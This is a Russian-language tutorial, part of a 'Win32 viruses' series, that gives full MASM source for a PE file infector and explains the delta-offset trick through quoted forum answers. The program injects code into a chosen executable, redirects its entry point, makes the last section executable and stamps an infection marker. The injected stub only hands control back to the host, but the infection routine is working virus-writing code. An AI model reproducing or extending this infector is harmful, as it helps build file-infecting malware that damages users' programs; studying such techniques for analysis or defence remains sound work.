Welcome to The Passion Of Code Laboratory!!!Статьи

"Win32-вирусы"
5. Сложный вопрос. Дельта смещение.

Автор:_follower / TPOC

Задача: Внесенный в выбранную программу наш код должен получить управление, и после отработки передать его программе - носителю.

Пусть наша программа:

1. работает только с тем файлом, который мы ей укажем;
2. пусть в код выбранной программы вносится не полноценный код, готового к размножению вируса. пусть вносимый код включает только передачу управления (да и то самую примитивную) в файл-носитель;

.386
.MODEL flat,stdcall
OPTION CASEMAP : NONE
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\masm32.lib
MIN_KERNEL_SEARCH_BASE EQU 070000000h
MAX_API_STRING_LENGTH EQU 150
VIRII_SIZE EQU ( OFFSET IGI_END - OFFSET IGI_START)
ALIGN_CORRECTION EQU 000001000h
IGI_TRADEMARK EQU ('IGI')
VIRII_R_SIZE EQU 000000200h
VIRII_V_SIZE EQU 000002000h
MAX EQU 255
.CONST
szError DB "Ошибка",0
szGetBaseErr DB "Ошибка в получении адреса kernel.dll",0
szCap DB ":) ",0
szCap_0 DB "CALL CreateFile is FAILED",0
szCap_1 DB "CALL GetFileSize is FAILED",0
szCap_2 DB "CALL GlobalAlloc is FAILED",0
szCap_3 DB "CALL ReadFile is FAILED",0
.DATA
filter db 'PE-executables (*.exe)',0,'*.exe',0,0
buffer db 255 dup (0)
about db 'Please Pick the Target File',0
about_f db 'Target File is ...',0
hFile DD 0
dwFsize DD 0
pMem DD 0
OpenStruct dd 76,0
dd 0
dd offset filter, 0,0,0, offset buffer, MAX, 0,0,0, offset about
dd OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_EXPLORER
dd 0, 0, 0, 0, 0
cBuff DB 120 DUP (0)
VarBuff db 0
.CODE
Main:
invoke GetOpenFileNameA, offset OpenStruct
.if eax==0
jmp _exit_
.endif
lea eax,offset buffer
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push EAX
push NULL
CALL MessageBox
invoke CreateFile,offset buffer,\
GENERIC_WRITE or GENERIC_READ ,\;
FILE_SHARE_READ or FILE_SHARE_WRITE,\;
NULL,\
OPEN_EXISTING,\
FILE_ATTRIBUTE_NORMAL,\
NULL
.IF EAX == INVALID_HANDLE_VALUE
XOR EAX, EAX
INC EAX
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_0
push NULL
CALL MessageBox
JMP SkipFileInfection
.ENDIF
MOV hFile, EAX
PUSH 0
PUSH EAX
CALL GetFileSize
OR EAX, EAX
.IF ZERO?
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_1
push NULL
CALL MessageBox
ADD EAX, 2
JMP SkipFileAndClean1
.ENDIF
MOV dwFsize, EAX
ADD EAX, ALIGN_CORRECTION + VIRII_SIZE
PUSH EAX
PUSH GMEM_FIXED OR GMEM_ZEROINIT
CALL GlobalAlloc
OR EAX, EAX
.IF ZERO?
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_2
push NULL
CALL MessageBox
ADD EAX, 3
JMP SkipFileAndClean1
.ENDIF
MOV pMem, EAX
LEA EAX, OFFSET VarBuff
PUSH NULL
PUSH EAX
PUSH dwFsize
PUSH pMem
PUSH hFile
CALL ReadFile
.IF EAX==0
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_3
push NULL
CALL MessageBox

CALL GetLastError

push OFFSET cBuff
push eax
CALL dwtoa
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET cBuff
push NULL
CALL MessageBox
.ENDIF
;---- Поищем PE сигнатуру ----
MOV ESI, pMem
CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE
.IF !ZERO?
JMP SkipFileAndClean2
.ENDIF
ADD WORD PTR SI, [ESI+03Ch]
CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE
.IF !ZERO?
JMP SkipFileAndClean2
.ENDIF
ASSUME ESI : PTR IMAGE_NT_HEADERS
;----Найдем последнюю секцию----
MOV EDI, ESI
ADD EDI, 0F8h
MOV CX, [ESI].FileHeader.NumberOfSections
.WHILE CX != 1
DEC CX
ADD EDI, SIZEOF IMAGE_SECTION_HEADER
.ENDW
ASSUME EDI : PTR IMAGE_SECTION_HEADER
; WATCOMC/C++ компилчторы устанавливают Misc.VirtualSize в 0, исправим это
.IF [EDI].Misc.VirtualSize == 0
MOV EAX, [ESI].OptionalHeader.SizeOfImage
SUB EAX, [EDI].VirtualAddress
MOV [EDI].Misc.VirtualSize, EAX
.ENDIF
;----Копируем вирусній код в файл----
MOV EAX, [EDI].PointerToRawData
ADD EAX, [EDI].SizeOfRawData
ADD EAX, pMem
PUSH ESI
PUSH EDI
MOV ECX, VIRII_SIZE
MOV ESI, OFFSET IGI_START
XCHG EAX, EDI
REP MOVSB
POP EDI
POP ESI
;----Изменим NT-заголовок ----
;-> ИзменимOptionalHeader.FileAlignment
MOV [ESI].OptionalHeader.FileAlignment, 0200h
;->УвеличимImageBase
ADD [ESI].OptionalHeader.SizeOfImage, VIRII_V_SIZE
;-> Точка входа (EntryPoint)
; сохраним оригинальную EP
MOV EAX, [EDI].SizeOfRawData
ADD EAX, [EDI].PointerToRawData
ADD EAX, pMem
ADD EAX, (OFFSET Loader_Constants - OFFSET IGI_START)
MOV EBX, [ESI].OptionalHeader.AddressOfEntryPoint
ADD EBX, [ESI].OptionalHeader.ImageBase
;Сохраним -> mov dwOEPVA,ebx
PUSH EBX
POP [EAX]
; Изменим EP
MOV EAX, [EDI].VirtualAddress
ADD EAX, [EDI].SizeOfRawData
MOV [ESI].OptionalHeader.AddressOfEntryPoint, EAX

;->Установим "Товарныйзнак"
MOV [ESI].FileHeader.PointerToSymbolTable, IGI_TRADEMARK
;----Измениминформациюосекции----
ADD [EDI].Misc.VirtualSize, VIRII_V_SIZE
ADD [EDI].SizeOfRawData, VIRII_R_SIZE
OR [EDI].Characteristics, 0E0000000h ; Секцию можно: читать, писать, выполнять
;---- Пишем из памяти на диск----
;установим файловый указатель записи в 0
PUSH FILE_BEGIN
PUSH NULL
PUSH 0
PUSH hFile
CALL SetFilePointer
; Найдемновыйразмерфайла-жертвы
MOV ECX, [EDI].PointerToRawData
ADD ECX, [EDI].SizeOfRawData
; Пишемнадиск
PUSH NULL
LEA EAX, OFFSET VarBuff
PUSH EAX
PUSH ECX
PUSH pMem
PUSH hFile
CALL WriteFile
ASSUME EDI : NOTHING
ASSUME ESI : NOTHING
XOR EAX, EAX
SkipFileAndClean2:
; Освободим выделенную память
PUSHEAX
PUSH pMem
CALL GlobalFree
POP EAX
SkipFileAndClean1:
; Освободимуазатели
PUSH EAX
PUSH hFile
CALL CloseHandle
POP EAX
SkipFileInfection:
invoke ExitProcess,0
;***********************************************************************
IGI_START:
pushad
call delta
delta:
pop ebp
sub ebp, offset delta
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
mov eax, [ebp+dwOEPVA]
mov [esp+1ch], eax
popad
jmp eax
Loader_Constants:
dwOEPVA DD 0
_exit_:
IGI_END:
end Main

Посмотрим :
В принципе тут у нас к рассмотрению только 3 пункта. Но эти три стоят многих.

1)

;-> Точка входа (EntryPoint)
; Cохраним оригинальную EntryPoint
; получим указатель на ячейку
; памяти куда впишем старуюEntryPoint
MOV EAX, [EDI].SizeOfRawData
ADD EAX, [EDI].PointerToRawData
ADD EAX, pMem
ADD EAX, (OFFSET Loader_Constants - OFFSET IGI_START)

Итак наша цель сохранить старый адрес EntryPoint. Первое что мы сделаем - это сформируем указатель на ячейку в которой будем хранить адрес возврата в программу.

В EDI - у нас все также указатель наIMAGE_SECTION_HEADER.
В ESI у нас указатель на IMAGE_NT_HEADERS.

Вспомним из прошлой темы :

 

Структура 5.1

IMAGE_OPTIONAL_HEADER32 STRUCT

  Magic                         WORD       ?

  MajorLinkerVersion            BYTE       ?

  MinorLinkerVersion            BYTE       ?

  SizeOfCode                    DWORD      ?

  SizeOfInitializedData         DWORD      ?

  SizeOfUninitializedData       DWORD      ?

  AddressOfEntryPoint           DWORD      ?

  BaseOfCode                    DWORD      ?

  BaseOfData                    DWORD      ?

  ImageBase                     DWORD      ?

  SectionAlignment              DWORD      ?

  FileAlignment                 DWORD      ?

  MajorOperatingSystemVersion   WORD       ?

  MinorOperatingSystemVersion   WORD       ?

  MajorImageVersion             WORD       ?

  MinorImageVersion             WORD       ?

  MajorSubsystemVersion         WORD       ?

  MinorSubsystemVersion         WORD       ?

  Win32VersionValue             DWORD      ?

  SizeOfImage                   DWORD      ?

  SizeOfHeaders                 DWORD      ?

  CheckSum                      DWORD      ?

  Subsystem                     WORD       ?

  DllCharacteristics            WORD       ?

  SizeOfStackReserve            DWORD      ?

  SizeOfStackCommit             DWORD      ?

  SizeOfHeapReserve             DWORD      ?

  SizeOfHeapCommit              DWORD      ?

  LoaderFlags                   DWORD      ?

  NumberOfRvaAndSizes           DWORD      ?

  DataDirectory                 IMAGE_DATA_DIRECTORY IMAGE_NUMBEROF_DIRECTORY_ENTRIES dup(<>)

IMAGE_OPTIONAL_HEADER32 ENDS

 

«Physical Offset - (онжеPointerToRawData)физическоесмещениеотносительноначала EXE файла, выровненонаграницу File Align полязаголовка PE Header. Смещение используется загрузчиком как seek значение.»

«Section RVA - ( он же VirtualAddress )размещение секции в памяти, виртуальный ее адрес относительно ImageBase. Позиция каждой секции выравнена на границу ObjectAlign (степень 2 от 512 до 256М включительно, по умолчанию 64К) и секции упакованы впритык друг к другу, впрочем, можно это не соблюдать»
 

     [IMAGE_SECTION_HEADER].PointerToRawData

+   [IMAGE_SECTION_HEADER].VirtualAddress

+   pMem( адрес начала образа файла в памяти) ___________________________________________

    Адрес конца последней секции в памяти. 

Далее добавим смещение к коду вируса, и к ячейке в которой будем хранить адрес возврата.
Полученный адрес сохраним в EAX.

2)

MOV EBX, [ESI].OptionalHeader.AddressOfEntryPoint
ADD EBX, [ESI].OptionalHeader.ImageBase
;Сохраним -> mov dwOEPVA,ebx
PUSH EBX
POP [EAX]

Считаем старую точку входа в программу-жертву. Чтобы получить точка входа в программу нужно учесть следующую формулу:

 [IMAGE_NT_HEADERS].OptionalHeader.ImageBase

+ [IMAGE_NT_HEADERS].OptionalHeader.AddressOfEntryPoint

 _________________________________________

  Точка входа в программу   

[EDI].OptionalHeader.ImageBase - Смотри структ.5.1

ImageBase - согласно [1.1] виртуальный начальный адрес загрузки программы (ее первого байта). Должен быть на границе 64Кб

[EDI]. OptionalHeader.AddressOfEntryPoint - Смотри структ.5.1

AddressOfEntryPoint - согласно [1.1] адрес, относительно ImageBase, по которому передается управление при запуске программы или адрес инициализации/завершения библиотеки.

Далее внесем этот адрес в вершину стека и следующей командой вытолкнем его в ячейку для хранения адреса возврата.

3)

; Изменим EP
MOV EAX, [EDI].VirtualAddress
ADD EAX, [EDI].SizeOfRawData
MOV [ESI].OptionalHeader.AddressOfEntryPoint, EAX

По формулам из пункта 2) получаем адрес точки входа и вносим туда новый адрес. Теперь наш код получает управление при запуске программы.
 

4)

IGI_START:
pushad
call delta
delta:
pop ebp
sub ebp, offset delta ; EBP -> delta смещениевнутрифайла

Находим delta - смещение , т.е. смещение от начала файла до первого байта кода нашей программы.
Согласно [1.2.]

«CALL метка - в стек заносится содержимое указателя команд eip/ip и в этот же регистр загружается новое значение адреса, соответствующее метке.»

«RET число - восстановить из стека содержимое eip/ip;»

Вообще это не простой для понимания ( таких как я :) новичков вопрос, поэтому остановимся на нем подробней.

Вся игра построена на получении delta как разности EIP и OFFSET одной и той же инструкции.

eip/ip (Instraction Pointer register) - регистр-указателькоманд.

Регистр eip/ip имеет разрядность 32/16 бит и содержит смещение следующей подлежащей выполнению команды относительно содержимого сегментного регистра cs в текущем сегменте команд. Этот регистр непосредственно недоступен программисту, но загрузка и изменение его значения производятся различными командами управления, к которым относятся команды условных и безусловных переходов, вызова процедур и возврата из процедур. Возникновение прерываний также приводит к модификации регистра eip/ip.

Я не смог внятно объяснить как работает процедура поиска дельта-смещения, поэтому приведу ответы на мой вопрос в разных форумах. Я думаю это будет честно и интересно.
 

-------------------------------------------------------Мой вопрос -----------------------------------

popebp

subebp, offsetdelta

в программе код которой выше в OllyDbg имеем :

Код:

00401000 CALL _file.00401005

00401005 POP EBP

00401006 SUB EBP,_file.00401005 ---> EBP=00000000

… в зараженной программе имеем :

Код:

00403200 PUSHAD

00403201 CALL _file.00403206

00403206 POP EBP

00403207 SUB EBP,_file.00412042 ---> EBP=00001FC4

В зараженной программе EntryPoint = 00403200 , а delta: имеет адрес = 00412042.

Как, в зараженномexe, одна и та-же инструкция (POP EBP) имеет два разных адреса:

и 00403206 и _file.00412042 одновременно.

Как и где взялся этот 00412042 не пойму ни как. Смотрел зараженный файл в HIEW–е. Такого смещения в файле вообще нет, там прыжек. Как заговор какой-то. Объясните пожалуйста сам не пойму. Помогите!

----------------------------------------------------------------------------------------------------

call пихает в стек адрес следующей инструкции,(popebp) pop его вынимает, а sub вычитает смещение этой самой инструкции.вот тебе и дельта...

----------------------------------------------------------------------------------------------------

смотри:

00000000: E80000 call 000000003 ;Next
Next:
00000003: 665D popebp
00000005: 6683ED03 sub ebp,003 ;offsetNext
в ebp будет 0 только если начало кода находится по адресу 0. загрузи в любой другой адрес - он и окажется у тебя в ebp. понятно?

----------------------------------------------------------------------------------------------------

Все очень просто. Вирусу нужно узнать адрес, по которому он загрузился. Адрес этот лежит в EIP - и указывает на текущую команду. Взять бы его оттдуа, и нет проблем. Но доступа к EIP у программы нету (спасибо Интелу). Команда CALL делает слежующее: кладет в стек значение EIP, указывающее на следующую команду, и изменяет значение EIP - передавая управление в соотв. часть кода. Нормальная функция завершается командой RET, которая достанет из стека адрес возврата, и передаст управление по нему. А вирус делает вместо RET команду POP EBP (или любой другой регистр) - и получает значение EIP, которое сохранила команда CALL. Ну, а дальше вычисляется дельта-смещение: разница между текущим адресом и тем, который "планировался" при компиляции.

---------------------------------------------------------progz.ru Влад-------------------

1. Вирусы писать нехорошо! И кроме того, ст. 273,274 УК РФ еще действуют...
2. Давно и хорошо известный прием получения смещения кода вируса. Если ты понимаешь, как работают компилятор и линкер - то ничего "таинственного и мистического" в этом нет. А если нет - то (imho) писать вирусы еще рано.

Я тоже вирусы не пишу но когда потребовалась специальная инфа, то нашёл я её только на сайте вирмейкеров. Причём искал я её 3 месяца.
Вопрос впринцепи детский, но одназначно ответить не могу.
Думаю дело в том что смещение программы на диске и в памяти разные. Вторая возможная причина это нежелание компиляторы генерить NOPы. Третья возможная причина это то что разрядность операнда offset delta не 32 бита а к примеру 16.

------------------------------------------------------------------progz.ru yureckor который я------

я небось подзадолбал вопросом LEA и OFFSET, но может из-за этого?
Проверь пожалуйста.

----------------------------------------------------------------forum.sources.ru Vesper------------

- Здравствуй, Винни! - сказал Пятачок тонким голосом, с поразительной
проворностью взбираясь по подставке для принтера на стол - с пола он
никогда не видел, что творилось на мониторе. - Чего ты делаешь? Ой,
сколько буковков! И сколько цифирков! И еще штучка такая малюсенькая
бегает! Что это, Винни?
- Вирус такой будет противный, - сказал Винни, лениво долбя лапами по
клавиатуре. - Отправлю Пчелам - вот смеху-то будет! Ты только не говори не
кому, а то знаешь как Тигра свиные котлеты любит?
"Надо будет дома копытца спиртом протереть", - подумал Пятачок,
страшно боявшийся всякой заразы.
- Да я что - я ж ничего, - сказал он вслух. От упоминания свиных
котлет у него затряслись поджилки и стало холодно где-то в области
необъятного желудка.
- Вот как мне, интересно, файлы получше заражать, - размышлял Винни.
- Если я положу в начале программы RET, а стек заставлю смотреть на адрес
возврата...
- Кого заставишь смотреть? - испугался Пятачок, которому померещилось
чего-то страшное.
- Стек, - сказал Винни Пух.
- Ага, - сказал Пятачок понимающе и отодвинулся от монитора подальше.
- Вот... Заставлю его смотреть на адрес возврата, то Пчелы, наверное,
подумают, что это просто какая-то ошибочка - и ничего не заметят. А если я
поставлю вначале переход на вирус, как вызов процедуры, то Пчелы,
наверное, подумают, что это маленькая подпрограммка - и тоже ничего не
заметят. По-моему так.
- Ага! - поддакнул Пятачок.
- Ну, чего будем ставить? - спросил Винни.
- Я? А... Его... Знаешь, Винни, - сказал Пятачок решительно. - Если
там кто-то на кого-то будет смотреть - то это очень страшно. Давай лучше
ма-а-аленькую парт... порт... прод-программочку - все равно Пчелы ничего
не заметят.
- Устами поросенка глаголит Истина, - сказал Пух важно, решительно
опуская лапы на клавиатуру, и Пятачок заметно покраснел и стал выводить
левым задним копытцем неопределенные круги.

---------------------------------------------------------forum.sources.ru rcz------------------

Короткий ответ.

Цитата

sub ebp, offsetdelta

offset delta - это константа, известная на стадии компилляции.

т.е. получается машинная комманда

0x81 0xed [delta].

call delta

delta:

использует относительную адресацию. Получается код

0xe8 0x0 0x0 0x0 0x0.

(прыжок на адрес сразу после комманды).

В итоге, выполняя такуюкомманду, в стеке мы имеем реальный адрес нашего кода.

pop ebp

.

Из этого реального мы просто вычитаем адрес, который у нас был при компилляции, и получаем смещение кода.

------------------------------------------------------------------forum.sources.ru Vesper----------

адрес, известный на этапе компиляции... хм. Это адрес команды внутри сегмента кода. Когда компилятор обрабатывает команду subebp, offsetdelta, он берет адрес етойdelta из таблицы адресов имен, которую он же строит проходом ранее.

Относительный адрес не меняется при загрузке программы в память.

Цитата

animator, 22.03.04, 12:14

... что и где об этом почитать.

извини, сразу не скажу, сам об этом узнавал из Пильщикова.

--------------------------------------------------------board.win32asmcommunity.net f0dder---------

The delta trick finds the amount the code has been relocated from the base it was linked to. Let's say you have a PE linked with base = 0x400000 (the normal for PE files), your .text section starts at RVA=0x1000 (also pretty normal), and your entrypoint is at the very start of your .text section. Furthermore, the first instructions in your application is the delta calculation.

This will give the following result:

code:



.00401000: E800000000 call .000401005

.00401005: 5D pop ebp

.00401006: 81ED05104000sub ebp,000401005



As you can see, the CALL instruction (E8 opcode) has EIP-relative encoding, while the SUB has the full image-base + RVA. When code runs normally, the "pop ebp" results in 0x401005, and the delta is zero. If you add this code at the end of an exe, the "pop ebp" will obviously result in something quite different.



The value at "sub ebp, xxxx" will vary depending on the imagebase used in the appended code, and where in the code the delta calculation is done. The resulting delta value will always be the "how much was I relocated?" value, though.

;

; Playing around with delta-calculation and such. Nonstandard register usage,

; blah blahblah. This program must be linked with imagebase=0x400000, or the

; new-imagebase calculation will fail.

;

; f0dder, 2004/03/19

;

.586p

.model flat,stdcall

option casemap:none

option proc:private

include <windows.inc>

include <kernel32.inc>

include <user32.inc>

includelib <kernel32.lib>

includelib <user32.lib>



ASSUME FS:NOTHING



CTEXT MACRO y:VARARG

LOCAL sym

CONST segment

IFIDNI <y>,<>

symdb 0

ELSE

symdb y,0

ENDIF

CONST ends



EXITM <OFFSET sym>

ENDM

;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

; CODE section

;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.code

; it's no use calling the usual thunks, as they call the

; __imp__* IAT slots - this means imagebased addresses,

; and will result in crashes on rebased executables.

;

; Import the "IAT slots" directly, and call those directly

; (but with delta, of course).

EXTRN SYSCALL __imp__MessageBoxA@16:NEAR

EXTRN SYSCALL __imp__wsprintfA:NEAR

EXTRN SYSCALL __imp__ExitProcess@4:NEAR

ENTRY32:

; get the delta value

call delta

delta:

pop ebp

sub ebp, offset delta



sub esp, 256 ; allocate space for wsprintf buffer

mov ebx, esp ; use ebx as "stack frame"



lea esi, [ebp + offset delta] ; compute "pop-value"

; compute imagebase - this exe must be linked with imagebase=0x400000

lea edi, [ebp+400000h]



; wsprintf(buf, "...", popvalue, delta, imagebase)

lea edx, [ebp+CTEXT("Popvalue %08X, Delta %08X, Imagebase %08X")]

push edi

push ebp

push esi

push edx

push ebx

call [ebp+__imp__wsprintfA]

add esp, (5*4)



; MessageBox(NULL, buf, buf, MB_OK)

push MB_OK

push ebx

push ebx

push NULL

call [ebp+__imp__MessageBoxA@16]



; ExitProcess(0)

push 0

call [ebp+__imp__ExitProcess@4]

END ENTRY32

mk.bat



@echo off

ml /nologo /c /coffdelta.asm

link /nologo /subsystem:windows /entry:ENTRY32 /filealign:512 /merge:.rdata=.textdelta.obj



delta.exe



<![endif]-->



delta_newbase.exe

<![endif]-->

Теперь ответ после которого все стало ясно !!! Внимание. The Svin wasm.ru

-----------------------------------------------------------------The Svinwasm.ru-------------------

Я попытался понять природу твоего н понимая, и мне она видится таким образом:
1. Приём получения дельты, который ты привёл, абсолютно очевиден и даже примитивен, но очевиден он только в том случае, когда понятна природа непосредственных операндов определённых в строках исходника как:

call delta
...
sub ebp, offset delta

Очевидный вывод, если есть сложности - с понятиями о природе этих операндов ты незнаком.
2. Знание механизмов, как компилятор определяет точные адреса операндов ещё до стадии того как они загружены в память, если угодно, "протоколов" между записями в откомпилированном файле и операционной системой когда то, что "предположил" компилятор по поводу адреса операнда (в твоём случае смещения) будет совпадать с фактом когда этот операнд уже окажется в памяти по определённому загруженному адресу. Когда эти адреса совпадут точно, когда произойдёт "штатная поправка" (релокейшн) а когда вообще компилятор ну никак не может "договорится" с операционнкой (случай помещения по произвольному адресу о котором никто не знает пока это помещение не произойдёт - как раз случай такого тошнотворного вида деятельности как вирусология).
Опять же видно тут отсутсвие знаний, прямым подтверждением этому является твои вопросы связанные с тем что ты увидел в Hiew - т.е. в дизассемблере, хотя процесс правильного вычисления можно увидеть только в дебагере.

Прошу без обид, а то окажется, что я зря клаву топтал, но мы видим здесь случай, когда человек не имеет низкоуровневых знаний достаточных для написания обычных пользовательских программ, при этом пытается писать что-то что в аспекте управления сложнее чем обычные программы.

Я тут увидел фразу про "неоднородные дифференциальные уравнения", если это не простой понт, и ты как то связан с математикой, то должен понимать, что бесполезно излогать не то что леммы но и простые аксиомы, если ты не ознакомил с понятиями и определениями, которые эти аксиомы используют.

После знакомства с природой этих понятий ответ будет для тебя прост и очевиден, как и простое сложение\вычитание из школьной программы.
Дам себе труд коротко ознакомить с этими понятиями, хотя плотное знакомство предпологает более вдумчивое изучение и в том числе связанное с практикой, поскольку это основа основ и без него никакого понимания и осознаного програмирования на низком уровне быть не может.

Понятия:
subebp, offsetdelta
offsetdelta это просто число-непосредственный операнд.
Результатом например может быть такой опкод:
81ED 00 10 40 00
81ED - начало опкода которое говорит процессору что нужно вычесть из ebp непосредственный операнд, который находится
непосредственно после этих байтов. Размер операнда в данном случае 4е байта (DWORD) т.е. процессор возьмёт эти 4е байта находящиеся сразу после 81ED и вычтет из ebp.
Это байты 00 10 40 00, которые представляют собой двойное слово 00401000h.
Откуда взялись эти байты и как компилятор "догадался" или "решил", что именно это число 401000h нужно вставить вместо слов "offsetdelta"? Вещь это простая но невзирая на простоту важная.
Компилятор предпологает, что то что он компилирует будет использовано как отдельная программа. Учитывая этот факт и то, что алгоритм загрузки в память из файла операционнкой работает по детерминированным правилам и ему эти правила известны он может вычислить по какому адресу будет находится код обозначенный как метка delta.
Т.е. например, он возьмёт базу (число в заголовке) прибавит смещение секции в которой находится код по смещению delta, прибавит смещение от начала секции кода байтов помеченных delta и получит предпологаемый линейный адрес. Т.е. произойдёт просто ряд сложений. Но!
Важно понимать, что число это будет соответсвовать действительности тогда и только тогда, когда выполнятся условия на которые "пологается" процессор. А имменно скомпилированный код будет использоваться как отдельная независимая программа, а не будет вставляться как бинарный дамп в чужие программы по каким то произвольным адресам.
Это просто. Как и все основные понятия в математике.
То, что на этом этапе нам нужно отметить это тот факт, что
даже если этот адрес, будучи вставлен в чужую программу, не будет совпадать с адресом по которому он реально вставлен, то узнав разность между лишь одним адресом реальным и соответсвующим ему предположенным компилятором мы можем узнать все уже реальные адреса в коде вставленном в другую программу.
Арифметика тут простая, порядковая нумерология.
Пусть элементы x_1,x_2,x_3
имеют порядковые номера 6,7,8. Потом были смещены так что
x_1 оказался с номером 12. Разность прежнего и нового номера 12-6=6. Значит элемент с прежним номером 8(т.е x_3) стал 8+6=14ым. Будь этих иксов не 3 а хоть миллион, нам достаточно узнать только для одного из них "новый" номер.
И получив разность с прежним номером мы сможем простым арифметическим сложением получить для любого элемента "новый номер" или в нашем случае "новый адрес" прибавляя к старому эту разность, которая у соответсвующих пар всегда однинакова.
Я столь подробно излогаю это только затем, чтобы показать следующее:
Код сгенерирован компилятором исходя из того, что он будет работать отдельно, все "оффсеты" внутри этого кода будут (за исключением случайного совпадения) неверны, но все их можно "поправать" узнав разность между "старым" и "новым" адресом хотя бы для одного элемента.
Этот то элемент и есть метка "delta" в приведённом тобой коде. И "старый" адрес и есть "offsetdelta". Осталось найти каким оказался "новый" адрес - и телемаркет - эту разность можно прибавить ко всем нужным оффсетам и они окажутся будто "родные" в инфицированной программе, т.е. будто и сгенерированны компилятором который делал оригинальную программу до инфекции.

Тут мы плавно перейдём к понятиям связанных с тем "а как узнать "новый адрес""?
Итак тело твоей программы (испытываю гадливое ощущение при слове вирус) оказалось в теле кода другой программы по какому-то неизвестному изначально "новому адресу" к тому моменту когда она начёт исполняться этот "новый адрес" окажется в EIP. EIP это как известно указатель на команду и он и содержит адрес (всегда реальный-"настоящий") команды которая выполняется.
Таким образом узнав какое EIP соответсвует коду обазначенному меткой delta в реальности мы узнаем "новый порядковый номер для этого участка или новый адрес" и зная старый порядковый номер (который вставил компилятор как "offsetdelta"- мы определим разность для всех смещений в нашем коде для используем оффсеты кода и переменных.
Разберёмся для этого с другим типом переменных - тех что используются в командах управления.
Во первых отметим тот факт, что во многих книгах пишется, что регистр EIP неподвластен программисту и он не может на него воздействовать или адресовать.
Это полная чушь, программы сплошь и рядом воздействуют на EIP иначе невозможно было бы создать ни одного управляющего блока.
Воздействие на EIP по характеру арифметики можно исскуственно разделить на две части
1. Прибавление к EIP непосредственного операнда.
2. Загрузка в EIP (и заодно в CS) непосредственного операнда.
3. Сохранение EIP (а иногда и CS одновременно) в стеке.
Нас интересует пункты 1 и 3 выполняемые одним из вариантов
инструкции которые в ассемблерных мнемониках называются CALL. Почему я говорю "одним из.." - другая инструкция в мнемониках тоже обозначается CALL - тем не менее инструкция эта выполняет не прибавление (1) а загрузку (2). Нужно помнить, что ассемблер всего лишь язык и реальность мира инструкций процессора как и любой язык отражает не абсолютно точно.

Сначала разберёмся как вообще меняется EIP (это важно)в машинной реальности (а не той программисткой реальности которую описывают книжки). В программисткой реальности процессор выполняет текущую инструкцию и если эта инструкция не является управляющей (call, ret, jmp и т.д)
то он переходит к "следующей".
1.Сначала об инструкциях, не являющихся управляющими:
В машинной реальности - процессор пытается декодировать байты по адрессу CS:EIP как опкод команды. В частности во время декодирования он определяет размер текущей инструкции.
Этот размер прибавляется к EIP, таким образом EIP начинает показывать на байты "после" байт текущей инструкции.
2. Управляющие инструкции.
Возьмём из этих инструкций те, которые "прибавляют" к EIP.
Такими инструкциями являются например jcc, jmpnear/short
callnear...
Эти инструкции имеют в своём теле непосредственный операнд. Посмотрим как этот операнд применяется.
Сначала делается то, что и в пункте 1.
Т.е. если CS:EIP указывает на команду callnear, jcc и т.п. он начинает декодировать её и так же как и в первом случае определяет в частности и размер инструкции и прибавляет его к временной переменной "будущего EIP".
Например:
00401005: E8 03000000 CALL 0040100D
Код инструкции здесь E8 и за ним следует 4х байтовый (DWORD) непосредсвенный операнд.
Начало инструкции по адресу 00401005.
Процессор декодирует её и узнаёт что размер инструкции здесь 5 байт. Условно скажем (реальность слишком сложна чтобы сейчас я загружал ею без угрозы что читатель потеряется) что процессор создаёт временную переменную =EIP+5. Т.е. получает число 401005+5=40100A.
Чтобы ещё жёстче привлечь внимание к арифметике скажу, что
число 40100Ah не адрес следующей команды (там вообще может быть мусор) а адрес первого байта после байтов текущей инструкции.
Далее процессор выполняет команду call а именно
а) первым делом он помещает в стек 401005+5=40100A число
(будущее)EIP
б) вторым делом он прибавляет к этому EIP непосредственный
операд, который находится за байтами E8. В приведённом примере там находятся байты 03 00 0000 т.е. двойное слово
00000003h.
Таким образом в EIP к началу выполнения команды было
401005
После декодированниявычислилось что размер инструкции 5 байт и "будущее EIP" получилось 401005+5=40100A
Это значение запушилось в стек.
Потом во время исполнения к этому значению прибавился непосредственный операнд 00000003. Получилось 401005+5+3=40100D и это окончательное значение загружается в EIP. После чего в EIP уже находится 40100D и всё начинается снова - процессор декодирует байты по новому адресу в EIP 40100D как команду и т.д.
Обратим внимание в конце, что при опкоде данном в примере
как E8 03 00 0000, при вычислениях и
EIP+5 и EIP+5+3. 5 и 3 это "известные" компилятору константы. Т.е. размер инструкции callnear метка (5), и смещение и разность между оффсетами метка+5 и оффсетом вызываемого кода (3) а вот EIP которая будет участвовать в этих формулах будет реальной, той которая будет во время выполнения этого кода. Различные анализаторы кода, статичные, типа дизассемлеров, могут лишь "предпологать" адресс который будет в EIP на данный момент, показывая в мнемониках что то типа call 40100D, на самом деле если это код окажется в другом месте не по адресу 401005 то и прибавлятся будет не к 401005 а другому, текущему значению EIP. Например кто то "вставил" E8 03 00 0000 по адресу
402005 результатом будет уже 402005+5 в стеке и 402005+5+3=40200D в адресе загрузки в EIP. Т.е. получится
уже call 40200D а не call 40100D как в случае когда инструкция находилась по адресу 401005

Теперь после того как мы познакомились с необходимыми
представлениями вернёмся к вычислению разницы между "старым" адресом метки delta и "новым" адресом её когда код который она представляет поместили в произвольное, "неизвестное" место.
1. call delta
